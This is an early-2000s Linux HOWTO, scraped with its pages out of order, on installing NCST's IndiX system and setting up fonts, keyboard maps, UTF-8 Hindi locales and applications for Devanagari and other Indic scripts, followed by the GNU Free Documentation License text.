  4. Set Variable-width and Fixed-width fonts to "raghu"
  5. Check button "Always use my font settings, overriding web page font"

Also, ensure that the character coding scheme is set to UTF-8

  1. Goto, View -> Character Coding
  2. Select "Unicode (UTF-8)" from the list

5.1.2. Konqueror

Konqueror has good support for Unicode. To setup konqueror so that it displays Hindi characters:

  1. Goto, Settings -> Configure Konqueror
  2. Select "Konqueror Bowser" from the left pan
  3. Goto "Appearance" tab on the right pan
  4. Select charset "iso106460-1"
  5. Set all fonts to "raghu" for this encoding and also set Default encoding to "utf8"

5.2. Editors

5.2.1. yudit

yudit by Gáspár Sinai (http://czyborra.com/yudit/) is an excellent unicode text editor for the X Window System. It supports simultaneous processing of many languages, input methods, conversions for local character standards etc. It has facilities for entering text in all languages with only an English keyboard, using keyboard configuration maps. Customization is very easy. Typically you will first want to customize your font. From the font menu, choose "Unicode". Next, you should customize your input method. The input methods "Straight", "Unicode" and "SGML" are most remarkable. For details about the other built-in input methods, look in /usr/local/share/yudit/data/. To make a change the default for the next session, edit your $HOME/.yuditrc file. The general editor functionality is limited to editing, cut and paste and search and replace. There is no provision for an undo. yudit can display text using a TrueType font. But it doesn't seem to support combining characters.

5.2.2. Vim

Vim (as of version 6.0) has good support for UTF-8. When started in an UTF-8 locale, it assumes UTF-8 encoding for the console and the text files being edited. It supports double-wide (CJK) characters as well and combining characters and therefore fits perfectly into UTF-8 enabled ncst-term.

5.2.3. gedit

gedit is an editor developed using GtkText widget. gedit-0.9.0 does not support FontSet. This means that you can't edit both English and Hindi text simultaneously. But if you choose a proper font then you will be able to use any one language at a time.

5.2.4. xedit

With XFree86-4.0.1, xedit is capable of editing UTF-8 files if your locale is set appropriately. Add the line
  "Xedit*international: true"
to your $HOME/.Xdefaults file.

5.3. Mailers

Mail clients released after January 1, 1999, should be capable of sending and displaying UTF-8 encoded mails, otherwise they are considered deficient. But these mails have to carry the MIME labels:
  Content-Type: text/plain; charset=UTF-8
  Content-Transfer-Encoding: 8bit

Simply piping an UTF-8 file into "mail" without caring about the MIME labels will not work. Mail client implementors should take a look at http://www.imc.org/imc-intl/ and http://www.imc.org/mail-i18n.html.

Now about some of the individual mail clients (or "mail user agents"):

5.3.1. kmail

kmail (as of KDE 1.0) does not support UTF-8 mails at all.

5.3.2. Netscape Mail

Netscape Mail can send and display mails in UTF-8 encoding, but it needs a little bit of manual user intervention. To send an UTF-8 encoded mail:

  1. After opening the "Mail" window, but before starting to compose the message, select from the menu "View -> Character Coding -> Unicode (UTF-8)".

  2. Then compose the message and send it.

When you receive an UTF-8 encoded mail, Netscape does not display it in UTF-8 right away, and does not even give a visual clue that the mail was encoded in UTF-8. You have to manually select from the menu View -> Character Coding -> Unicode (UTF-8).

For displaying UTF-8 mails, Netscape uses different fonts. You can adjust your font settings in the Edit -> Preferences -> Fonts dialog by selecting the "Unicode" font category.

5.3.3. exmh

exmh 2.1.2 with Tk 8.4a1 can recognize and correctly display UTF-8 mails if you add the following lines to your $HOME/.Xdefaults file.
  !
  ! Exmh
  !
  exmh.mimeUCharsets: utf-8
  exmh.mime_utf-8_registry: iso10646
  exmh.mime_utf-8_encoding: 1
  exmh.mime_utf-8_plain_families: fixed
  exmh.mime_utf-8_fixed_families: fixed
  exmh.mime_utf-8_proportional_families: fixed
  exmh.mime_utf-8_title_families: fixed

Prev | Home | Next
Locale Setup |  | References and sites


Frequently Asked Questions (FAQ)

The Indic Fonts HOWTO
Prev Next

7. Frequently Asked Questions (FAQ)

7.1. I can't start the X windows system. It gives an error "Could not open default Indic font 'xyz'".
7.2. Can I use any other font as the default system font instead of the raghu font shipped with the IndiX system?
7.3. I have installed IndiX system but it doesn't show Hindi characters. Why?
7.4. Why are some of the pixels in Hindi characters distorted?
7.5. All Hindi characters are displayed, but why are they not rendered properly?
7.6. Why can't I download ISO images of Exodus GNU/Linux, yet?

7.1. I can't start the X windows system. It gives an error "Could not open default Indic font 'xyz'".

Please make sure that the font 'xyz' is correctly installed and is in the current FontPath. The Indic fonts usually reside in the /usr/X11R6/lib/X11/fonts/TrueType/ directory. Your FontPath is defined in the /etc/X11/XFree86Config-4 file. To learn more about howto specify your FontPath, read the section on X Window System (3.2) in this HOWTO.

7.2. Can I use any other font as the default system font instead of the raghu font shipped with the IndiX system?

You can load an Indic script font by giving command line server option while starting X Window System. e.g.
  $ startx -- -devanagari "my_devanagari_font"
or
  $ startx -- -tamil "my_tamil_font"
Here, "my_devanagari_font" and "my_tamil_font" should be replaced by the font name that you want to load. You can either specify alias name or full XLFD name for the font. However alias name must be there in fonts.alias file and XLFD name in fonts.dir file.

7.3. I have installed IndiX system but it doesn't show Hindi characters. Why?

This could possibly be due to the fact that your Hindi locale has not been setup correctly. To change/set the locale you should set LANG environment variable. Append the line
  export LANG=hi_IN.UTF-8
in your ~/.bashrc and ~/.bash_profile files. Restart your terminal emulator program and run the application. After this the application should display Hindi characters.

7.4. Why are some of the pixels in Hindi characters distorted?

This is probably because the X Font Server (xfs) is running and is still in the current FontPath. You can either shutdown the X Font Server or remove it from the current FontPath. To shutdown xfs issue the following command after becoming root:
  # /etc/rc.d/init.d/xfs stop
To remove xfs from the current FontPath, read the section Section 3.2 in this HOWTO.

7.5. All Hindi characters are displayed, but why are they not rendered properly?

IndiX system uses an OpenType font to render Indic script characters, as it is the most suitable font format for Indic scripts. If you use some other kind of font, for example a TrueType font or a Bitmap font, then the font does not have enough information that is required to render Indic script text properly. So it is recommended to use only OpenType fonts for Indic scripts. Also, in case you are already using an OpenType font, please update your glibc.

7.6. Why can't I download ISO images of Exodus GNU/Linux, yet?

The good guys at Centurion Linux are looking for sponsors who can take care of their hosting needs. If you are interested in helping Centurion Linux out, please contact me on <bali@centurionlinux.com>.

Prev | Home | Next
References and sites |  | Acknowledgements and Copyright


GNU Free Documentation License

The Indic Fonts HOWTO
Prev Next

A. GNU Free Documentation License

Prev | Home | Next
Acknowledgements and Copyright |  | 0. PREAMBLE


0. PREAMBLE

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.1. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | 1. APPLICABILITY AND DEFINITIONS


1. APPLICABILITY AND DEFINITIONS

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.2. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
0. PREAMBLE | Up | 2. VERBATIM COPYING


2. VERBATIM COPYING

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.3. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
1. APPLICABILITY AND DEFINITIONS | Up | 3. COPYING IN QUANTITY


3. COPYING IN QUANTITY

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.4. 3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
2. VERBATIM COPYING | Up | 4. MODIFICATIONS


4. MODIFICATIONS

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.5. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  • A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  • B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  • C. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  • D. Preserve all the copyright notices of the Document.

  • E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  • F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  • G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  • H. Include an unaltered copy of this License.

  • I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  • J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  • K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  • L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  • M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  • N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

Prev | Home | Next
3. COPYING IN QUANTITY | Up | 5. COMBINING DOCUMENTS


5. COMBINING DOCUMENTS

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.6. 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
4. MODIFICATIONS | Up | 6. COLLECTIONS OF DOCUMENTS


6. COLLECTIONS OF DOCUMENTS

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.7. 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and dispbibute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
5. COMBINING DOCUMENTS | Up | 7. AGGREGATION WITH INDEPENDENT WORKS


7. AGGREGATION WITH INDEPENDENT WORKS

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.8. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
6. COLLECTIONS OF DOCUMENTS | Up | 8. TRANSLATION


8. TRANSLATION

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.9. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
7. AGGREGATION WITH INDEPENDENT WORKS | Up | 9. TERMINATION


9. TERMINATION

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.10. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
8. TRANSLATION | Up | 10. FUTURE REVISIONS OF THIS LICENSE


10. FUTURE REVISIONS OF THIS LICENSE

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License Next

A.11. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
9. TERMINATION | Up | Addendum


Addendum

The Indic Fonts HOWTO
Prev A. GNU Free Documentation License

A.12. Addendum

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright ℗ YEAR YOUR NAME.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
10. FUTURE REVISIONS OF THIS LICENSE | Up


The Indic Fonts HOWTO

Maninder Bali

Dan Scott - Conversion from HTML to DocBook v4.1.2 (XML)

Revision History
Revision 0.1 2002/01/07 Revised by: mb
First rendition released by Maninder Bali.

This is a detailed guide on how to install and use Indic scripts (devanagri etc.) using UTF-8 encoding under GNU/Linux. This HOWTO is a work in progress. More sections regarding fonts and other related things shall be added to this HOWTO in due course of time. Special thanks to Dan Scott for conversion from HTML to DocBook v4.1.2(XML). Any feedback, sugestions, pointers, gifts, cds, BMWs will be gladly accepted. All flames will be redirected to /mnt/praises_for_thee/ for future reference. Be afraid.

Table of Contents
1. Introduction
2. Installing the IndiX system
2.1. Installing IndiX
2.2. Running Simpm
3. Devanagri Input and Output setup
3.1. Linux console
3.2. X Window System
4. Locale Setup
4.1. Files and the kernel
4.2. Locale environment variables
5. Applications with Devanagri
5.1. Browsers
5.2. Editors
5.3. Mailers
6. References and sites
7. Frequently Asked Questions (FAQ)
8. Acknowledgements and Copyright
A. GNU Free Documentation License
A.1. 0. PREAMBLE
A.2. 1. APPLICABILITY AND DEFINITIONS
A.3. 2. VERBATIM COPYING
A.4. 3. COPYING IN QUANTITY
A.5. 4. MODIFICATIONS
A.6. 5. COMBINING DOCUMENTS
A.7. 6. COLLECTIONS OF DOCUMENTS
A.8. 7. AGGREGATION WITH INDEPENDENT WORKS
A.9. 8. TRANSLATION
A.10. 9. TERMINATION
A.11. 10. FUTURE REVISIONS OF THIS LICENSE
A.12. Addendum
Next
Introduction


Installing the IndiX system

The Indic Fonts HOWTO
Prev Next

2. Installing the IndiX system

You can obtain the IndiX system from NCST, Mumbai site http://rohini.ncst.ernet.in/indix/. The system is available in its source as well as binary form. This HOWTO covers the installation of the IndiX system using the binary files avaiable for download. At a later stage, I plan to cover the source installation of IndiX on your box, too. You need to download the following files in order to install IndiX sucessfully onto your machine:

gtk.tar.gz
indix.tar.gz

2.1. Installing IndiX

NCST has written Simpm ( Simple Package Manager ) that takes care of the entire installation process on your system. Simpm carries out the following steps for a binary distribution of the IndiX system:

  1. It reads the names of the files within the distribution by essentially running the command tar -tzpPf package.tgz > .package.list
  2. It saves all these files and the file containing the list using the command tar -czpPf .old.package.tgz .package.list `cat .package.list`
  3. Simpm then extracts the files from the package and installs them using tar -xzpPf package.tgz
Should you wish to go back to the old system state for any reason, you can easily do so using tar -xzpPf .old.package.tgz

2.2. Running Simpm

simpm with no arguments/parameters will display its usage.

  # simpm -i package.tgz [-d savdir/]
does all the above steps, 1 through 3. The 'i' flag indicates install. Successful installation will create savdir/.old.package.tgz. If it finds an existing .old.package.tgz, simpm will not proceed as it means that the IndiX system has already been installed earlier. However, you can force an IndiX install by renaming it to a newpackage. Alternatively, you can uninstall the package and install it again.

  # simpm -u package.tgz [-d savdir/]
uninstalls the package. Note, however, that this command will work only if it finds a readable .old.package.tgz. Having uninstalled the package, simpm will restore the original files that were overwritten by the package. The .old.package.tgz will be deleted after the uninstallation so that all instances of the previous installation are removed. Simpm maintains a log of all installs and uninstalls in the savdir/simpm.log file.

To install the IndiX system, all you have to do is (pray and do your favourite tribal dance) type in the following commands:

  # simpm -i /path/to/gtk.tar.gz
  # simpm -i /path/to/indix.tar.gz
and all the necessary files will be backed up, and the IndiX system installed on your machine. Hurrah.

Congratulations, o' most precious one, on having installed IndiX system on your machine. The remainder of this HOWTO will focus on setting up your Linux environment to support Indic fonts and scripts in X.

Prev | Home | Next
Introduction |  | Devanagri Input and Output setup


Introduction

The Indic Fonts HOWTO
Prev Next

1. Introduction

This HOWTO has been written to help you setup your Linux box to use UTF-8 encoding for using various Indic scripts. You will have to install the IndiX system developed by NCST, Mumbai on your machine in order for you to use various Indic scripts. I have tested the IndiX system on Exodus GNU/Linux, RedHat Linux, and Mandrake Linux. Anyone who has tested this system on a machine running Debian, please let me know and I will include that in this HOWTO. I want to thank Mr. Keyur Shroff from NCST, Mumbai for allowing me to modify and redistribute his Devanagri-HOWTO.

Please note that Exodus GNU/Linux, developed by the good guys at Centurion Linux, India will ship with the IndiX system installed, thanks to the Transfer of Technology deal signed by NCST, Mumbai and Centurion Linux Pvt. Ltd.

Almost all of the leading GNU/Linux distributions available today have been localized in various international languages like French, German, Spanish, Chinese, Arabic, etc. This HOWTO aims at documenting the steps involved in enabling you to localize your GNU/Linux distribution to Indic scripts of your choice. To begin with, you must be aware of the complexity involved in localizing any of the Indian languages. Any Indian language text input differs from that of English. Perhaps the most significant difference is that in English, each keystroke maps directly onto a letter where each letter has a unique code. On the other hand, a 'syllable' - the Indian language equivalent unit of writing letter is composed of one or more characters entered through the keyboard.

The syllable is composed of vowels, consonants, modifiers and other special graphics signs. These are encoded, just as roman letters are. The user types in a sequence of vowels, consonants, modifiers and the graphics signs. The machine then composes these syllables at run time based on language dependent rules. Every syllable is thus represented in the machine as a unique sequence of vowels, consonants and modifiers. In a text sequence, these characters are stored in logical (phonetic) order.

Indic characters can combine or change shape depending on their context. A character's appearance is affected by its ordering with respect to other characters, the font used to render the character, and the application or system environment. These variables can cause the appearance of Devanagari characters to be different from their nominal glyphs (used in the code charts). Additionally, characters cause a change in the order of the displayed glyphs. This reordering is not commonly seen in non-Indic scripts and occurs independent of any bi-directional character reordering that might be required.

Each syllable has a unique visual representation. However, there are too many syllables to design glyphs for each one individually. So a font normally contains certain component glyphs from which a syllable is composed at run time. The onscreen representation of a syllable is then a composition of glyphs from the Indian language font. There is no direct mapping of glyph codes to the consonant, vowel or modifier codes. However, for every syllable (a sequence of consonants, vowels and modifiers) there is a corresponding sequence of glyphs. This constitutes a many-to-many mapping from keystrokes to glyphs as opposed to a simplistic one-to-one mapping in roman scripts.

Please read the Unicode-HOWTO and visit http://www.unicode.org/ for more information on the UTF-8 encoding.

The Indix system developed by NCST, Mumbai enables most applications in X Windows (irrespective of the toolkit used), to render Indic characters according to the unicode standard specification. IndiX provides support for OpenType fonts and Unicode encoding at X Windows level. This enables most of the existing applications to handle Indic scripts without any modification or recompilation.

Once you have installed the IndiX system, following all the steps mentioned in this HOWTO, you will be able to fly across seven seas and slap that annoying sailor who keeps goin' hic' hic'... Okay, on a more serious note, you will be able to enjoy your Linux experience in Devanagri and other Indic scripts of your choice.

Prev | Home | Next
The Indic Fonts HOWTO |  | Installing the IndiX system


Devanagri Input and Output setup

The Indic Fonts HOWTO
Prev Next

3. Devanagri Input and Output setup

3.1. Linux console

Devanagari characters do not display properly in a Linux console. However, NCST has developed ncst-term (a terminal emulator program in X Window System) which has support for converting keystrokes to UTF-8 before sending them to the application running in the ncst-term, and for displaying Unicode characters that the application outputs as UTF-8 byte sequence.

3.2. X Window System

You need to make some changes in your XF86Config-4 file (usually resides in /etc/X11/ directory). A sample config file XF86Config-4.indix is installed along with IndiX system. This file can be found in /etc/X11/ directory.

3.2.1. Devanagri Font

OpenType is the most suitable font format to render any Indic script properly. The IndiX system ships with one OpenType font called "raghu" for Hindi. Anyone can use and distribute this font free-of-cost. You can find this font in /usr/X11R6/lib/X11/fonts/TrueType/ directory.

Installing the Indic Fonts:

In order to install the Indic fonts, you must log in as root. The X Font Server (xfs) is known to have some problems with the IndiX system, so remove it from the FontPath of the X Server. This can be achieved by modifying your XF86Config-4 file (usually in /etc/X11/) and commenting the line in the Files section and adding /usr/X11R6/lib/X11/fonts/TrueType/ to the current FontPath.

After that, the FontPath should look something similar to this:
  FontPath   "unix/:7100"
  FontPath   "/usr/X11R6/lib/X11/fonts/misc"
  FontPath   "/usr/X11R6/lib/X11/fonts/100dpi"
  FontPath   "/usr/X11R6/lib/X11/fonts/75dpi"
  FontPath   "/usr/X11R6/lib/X11/fonts/TrueType"
  FontPath   "/usr/X11R6/lib/X11/fonts/Type1"
Next, in order to make use of the OpenType font you have, load the "freetype" module at startup. You can achieve this by adding the following line in the Module section of XF86Config-4 file.
  Load "freetype"
Make sure you specify the modules search path in the Files section, too.
  ModulePath "/usr/X11R6/lib/modules/fonts"
  ModulePath "/usr/X11R6/lib/modules/drivers"
  ModulePath "/usr/X11R6/lib/modules"
  ModulePath "/usr/X11R6/lib"
  ModulePath "/usr/lib"
Any new Indic fonts you want to install should be placed in the /usr/X11R6/lib/X11/fonts/TrueType/ directory. Now, change to this directory and run the following commands:
  $ mkfontdir
  $ xset fp rehash
In case you want to place your new Indic fonts in some other directory, you must use xset to add the new FontPath. Please see the xset man-page for further assistance. You can check the new installed fonts by running the xlsfonts command. In case you don't see any Indic fonts using this command, you may need to restart X.

3.2.2. Devanagri Keyboard Layout

The IndiX system comes with a keyboard map file for xmodmap. You can use the utility xmodmap to map a Devanagri keyboard. For most distributions, when you start X, the X-Server will look for a Xmodmap in /etc/X11/ directory. If that file does not exist, the server will look for a .Xmodmap in your $HOME. Just putting the .Xmodmap in your $HOME will be okay. When you start the X server, it will load this file. You can also load .Xmodmap from the command line:
  $ xmodmap ~/.Xmodmap

Note

If you are using XFree86 version 4.0 or later, you need to add the line XkbDisable in InputDevice section of XF86Config-4 file. You may config the keyboard section like the following sample.
  Section "InputDevice"
  Identifier  "Keyboard0"
  Driver      "keyboard"
  Option      "XkbDisable"
  EndSection

Prev | Home | Next
Installing the IndiX system |  | Locale Setup


Locale Setup

The Indic Fonts HOWTO
Prev Next

4. Locale Setup

4.1. Files and the kernel

You can now use any Unicode characters in file names. No kernel or file utilities need modifications. This is because file names in the kernel can be anything not containing a null byte, and '/' is used to delimit subdirectories. When encoded using UTF-8, non-ASCII characters will never be encoded using null bytes or slashes. All that happens is that file and directory names occupy more bytes than they contain characters. For example, a filename consisting of five greek characters will appear to the kernel as a 10-byte filename. The kernel does not know (and does not need to know) that these bytes are displayed as greek.

This is the general theory, so long as your files reside on Linux. On filesystems which are used from other operating systems, you have mount options to control conversion of filenames to or from UTF-8:

  • The "vfat" filesystems has a mount option "utf8". See file /usr/src/linux/Documentation/filesystems/vfat.txt. When you give an "iocharset" mount option different from the default (which is "iso8859-1"), the results with and without "utf8" are not consistent. Therefore, it is not I recommend to use the "iocharset" mount option.

  • The "msdos", "umsdos" filesystems have the same mount option, but appear to have no effect.

  • The "iso9660" filesystem has a mount option "utf8". See file /usr/src/linux/Documentation/filesystems/isofs.txt.

  • Since Linux 2.2.x kernels, the "ntfs" filesystem has a mount option "utf8". See file /usr/src/linux/Documentation/filesystems/ntfs.txt.

The other filesystems (nfs, smbfs, ncpfs, hpfs, etc.) don't convert filenames; therefore they support Unicode file names in UTF-8 encoding only if the other operating system supports them. Please note that to enable a mount option for all future remounts, you add it to the fourth column of the corresponding /etc/fstab line.

4.2. Locale environment variables

You should have the following environment variables set, containing locale names:

LANGUAGE

override for LC_MESSAGES

LC_ALL

override for all other LC_* variables

LC_CTYPE, LC_MESSAGES, LC_COLLATE, LC_NUMERIC, LC_MONETARY, LC_TIME

individual variables for: character types and encoding, natural language messages, sorting rules, number formatting, money amount formatting, date and time display.

LANG

default value for all LC_* variables. (See `man 7 locale' for a detailed description.)

In order to tell your system and all applications that you are using UTF-8, you need to add a codeset suffix of UTF-8 to your locale names. For example, if you want to run an application in UTF-8 Hindi locale then with bash shell, you can specify which environment variable to be passed to the application.
  $ LANG=hi_IN.UTF-8 xman
In order to set locale the Hindi locale globally for a particular user, you can append the following line in ~/.bashrc file.
  export LANG=hi_IN.UTF-8
After that you need not to set the LANG environment variable each time you run a specific application.

Prev | Home | Next
Devanagri Input and Output setup |  | Applications with Devanagri


Acknowledgements and Copyright

The Indic Fonts HOWTO
Prev Next

8. Acknowledgements and Copyright

